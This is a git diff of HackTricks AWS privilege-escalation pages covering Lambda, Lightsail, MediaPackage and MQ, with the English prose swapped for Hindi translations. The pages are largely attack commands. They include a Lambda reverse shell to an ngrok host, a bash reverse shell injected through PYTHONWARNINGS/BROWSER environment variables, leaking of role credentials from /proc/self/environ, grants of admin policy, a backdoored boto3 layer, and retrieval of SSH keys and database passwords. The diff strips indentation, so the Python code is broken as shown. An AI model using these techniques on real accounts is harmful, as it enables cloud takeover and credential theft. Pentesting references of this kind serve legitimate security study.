```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +आप **लैम्ब्डा भूमिका अनुमतियों का दुरुपयोग** भी कर सकते हैं जो लैम्ब्डा फ़ंक्शन से ही हैं।\ +यदि लैम्ब्डा भूमिका के पास पर्याप्त अनुमतियाँ थीं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते थे: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के lambda के भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **Network isolated Lambdas** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको lambda के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा। ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। > [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> ध्यान दें कि भले ही यह दिलचस्प लग सकता है **`lambda:InvokeAsync`** **अपने आप में** **`aws lambda invoke-async`** को **निष्पादित** करने की अनुमति नहीं देता, आपको **`lambda:InvokeFunction`** भी चाहिए। ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +पिछले परिदृश्य की तरह, आप **`lambda:AddPermission`** अनुमति होने पर **अपने लिए `lambda:InvokeFunction`** अनुमति **प्रदान** कर सकते हैं। ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे विशेषाधिकार वृद्धि। ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **विशेषाधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\ +वे **दुष्ट कोड के साथ एक लैम्ब्डा फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं**। +लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका स्थापित करता है या उसका उपयोग करता है, इसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से सक्रिय हो** जाता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना। ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता केवल **Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है**। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को **स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी**: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +अब यह संभव है **Lambda फ़ंक्शन को DynamoDB तालिका से कनेक्ट करना** **एक इवेंट स्रोत मैपिंग बनाकर**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +Lambda फ़ंक्शन को DynamoDB स्ट्रीम से लिंक करके, हमलावर **DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह **DynamoDB तालिका में एक आइटम डालकर** किया जा सकता है: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**संभावित प्रभाव:** निर्दिष्ट लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +इस अनुमति के साथ एक हमलावर **अपने लिए (या दूसरों के लिए) कोई भी अनुमति प्रदान कर सकता है** (यह संसाधन आधारित नीतियों को उत्पन्न करता है ताकि संसाधन तक पहुंच प्रदान की जा सके): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**संभावित प्रभाव:** कोड को संशोधित करने और उसे चलाने की अनुमति देकर लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +इस अनुमति के साथ एक हमलावर **अपने लिए (या दूसरों के लिए) अनुमति `lambda:GetLayerVersion` प्रदान कर सकता है**। वह लेयर तक पहुँच सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है। ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**संभावित प्रभाव:** संवेदनशील जानकारी तक संभावित पहुंच। ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता है।**\ +हमलावर **IAM क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए लैम्ब्डा का कोड संशोधित कर सकता है।** +हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्मित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा वर्कफ़्लो या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है। ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**संभावित प्रभाव:** उपयोग की जाने वाली लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### env वेरिएबल्स के माध्यम से RCE +इन अनुमतियों के साथ, ऐसे पर्यावरण वेरिएबल्स जोड़ना संभव है जो लैम्ब्डा को मनमाने कोड को निष्पादित करने का कारण बनेंगे। उदाहरण के लिए, पायथन में, पर्यावरण वेरिएबल्स `PYTHONWARNING` और `BROWSER` का दुरुपयोग करके एक पायथन प्रक्रिया को मनमाने आदेश निष्पादित करने के लिए मजबूर किया जा सकता है: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### Lambda Layers के माध्यम से RCE -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) आपको अपने लैम्ब्डा फ़ंक्शन में **कोड** शामिल करने की अनुमति देता है लेकिन **इसे अलग से स्टोर करता है**, ताकि फ़ंक्शन कोड छोटा रह सके और **कई फ़ंक्शन कोड साझा कर सकें**। +लैम्ब्डा के अंदर आप एक फ़ंक्शन के साथ उन पथों की जांच कर सकते हैं जहाँ से पायथन कोड लोड किया जाता है: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +ये स्थान हैं: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +उदाहरण के लिए, पुस्तकालय boto3 को `/var/runtime/boto3` (4थी स्थिति) से लोड किया जाता है। -#### Exploitation +#### शोषण -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करके **एक नया लेयर** जोड़ना संभव है। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे लैम्ब्डा आयात करने जा रहा है।** यदि आप लैम्ब्डा का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि लैम्ब्डा **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।** +उदाहरण के लिए, मान लीजिए कि लैम्ब्डा पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा: ```bash pip3 install -t ./lambda_layer boto3 ``` +आप `./lambda_layer/boto3/__init__.py` खोल सकते हैं और **वैश्विक कोड में बैकडोर जोड़ सकते हैं** (उदाहरण के लिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए या एक रिवर्स शेल प्राप्त करने के लिए)। -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +फिर, उस `./lambda_layer` निर्देशिका को ज़िप करें और **अपने खाते में नया लैम्ब्डा लेयर अपलोड करें** (या पीड़ित के खाते में, लेकिन आपके पास इसके लिए अनुमतियाँ नहीं हो सकती हैं)।\ +ध्यान दें कि आपको एक पायथन फ़ोल्डर बनाना होगा और वहां पुस्तकालयों को रखना होगा ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, लेयर को **लैम्ब्डा द्वारा उपयोग की जाने वाली पायथन संस्करण** के साथ **संगत** होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह **समान क्षेत्र** में होना चाहिए: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +अब, अपलोड की गई लैम्ब्डा परत को **किसी भी खाते द्वारा सुलभ** बनाएं: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +और पीड़ित लैम्ब्डा फ़ंक्शन से लैम्ब्डा लेयर को संलग्न करें: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +अगला कदम होगा या तो **फंक्शन को स्वयं कॉल करना** यदि हम कर सकें या सामान्य तरीकों से **इसे कॉल होने का इंतजार करना** - जो कि सुरक्षित तरीका है। -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +**इस कमजोरियों का शोषण करने का एक अधिक छिपा हुआ तरीका** यहाँ पाया जा सकता है: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**संभावित प्रभाव:** उपयोग की जाने वाली लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का एक तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं! -### Lambda MitM +### लैम्ब्डा MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +कुछ लैम्ब्डा **उपयोगकर्ताओं से संवेदनशील जानकारी प्राप्त करने जा रहे हैं।** यदि इनमें से एक में RCE प्राप्त होता है, तो आप अन्य उपयोगकर्ताओं द्वारा भेजी जा रही जानकारी को एक्सफिल्ट्रेट कर सकते हैं, इसे यहाँ देखें: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..0bfca1edd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Lightsail के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग करके प्रिवेस्क नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है। ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +यह अनुमति आपको उदाहरणों तक पहुँचने के लिए SSH कुंजी प्राप्त करने की अनुमति देगी: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**संभावित प्रभाव:** इंस्टेंस के अंदर संवेदनशील जानकारी खोजें। ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +यह अनुमति आपको इंस्टेंस तक पहुँचने के लिए SSH कुंजी उत्पन्न करने की अनुमति देगी: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**संभावित प्रभाव:** इंस्टेंस के अंदर संवेदनशील जानकारी खोजें। ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +यह अनुमति आपको बकेट तक पहुँचने के लिए एक कुंजी प्राप्त करने की अनुमति देगी: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**संभावित प्रभाव:** बकेट के अंदर संवेदनशील जानकारी खोजें। ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +यह अनुमति आपको डेटाबेस तक पहुँचने के लिए क्रेडेंशियल प्राप्त करने की अनुमति देगी: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +यह अनुमति आपको डेटाबेस तक पहुँचने के लिए पासवर्ड बदलने की अनुमति देगी: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +यदि डेटाबेस सार्वजनिक नहीं है, तो आप इसे इस अनुमति के साथ सार्वजनिक भी बना सकते हैं ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +यह अनुमति इंटरनेट के लिए पोर्ट खोलने की अनुमति देती है। ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**संभावित प्रभाव:** संवेदनशील पोर्ट्स तक पहुँच। ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है। ध्यान दें कि कॉल किसी भी पोर्ट को बंद कर देगी जो इसमें निर्दिष्ट नहीं है। ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**संभावित प्रभाव:** संवेदनशील पोर्ट्स तक पहुँच। ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +यह अनुमति एक इंस्टेंस को बिना किसी अतिरिक्त क्रेडेंशियल के एक बकेट तक पहुँच देने की अनुमति देती है। ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**संभावित प्रभाव:** संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच। ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +इस अनुमति के साथ एक हमलावर अपने AWS खाते को बकेट्स पर पढ़ने की पहुंच दे सकता है या यहां तक कि बकेट्स को सभी के लिए सार्वजनिक बना सकता है: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**संभावित प्रभाव:** संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच। ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +इन अनुमतियों के साथ, एक हमलावर कंटेनर सेवा से निजी ECRs तक पहुंच प्रदान कर सकता है। ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**संभावित प्रभाव:** निजी ECR से संवेदनशील जानकारी प्राप्त करें ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है। ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**संभावित प्रभाव:** एक डोमेन का अधिग्रहण ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है। ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**संभावित प्रभाव:** एक डोमेन पर कब्जा करना {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..8779469f5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +चैनल के पहले IngestEndpoint का उपयोगकर्ता नाम और पासवर्ड बदलता है। (यह API RotateIngestEndpointCredentials के लिए अप्रचलित है) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +चैनल के पहले IngestEndpoint का उपयोगकर्ता नाम और पासवर्ड बदलता है। (यह API RotateIngestEndpointCredentials के लिए अप्रचलित है) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..eb0876e7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +MQ के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +इन अनुमतियों के साथ आप **एक ActimeMQ ब्रोकर में एक नया 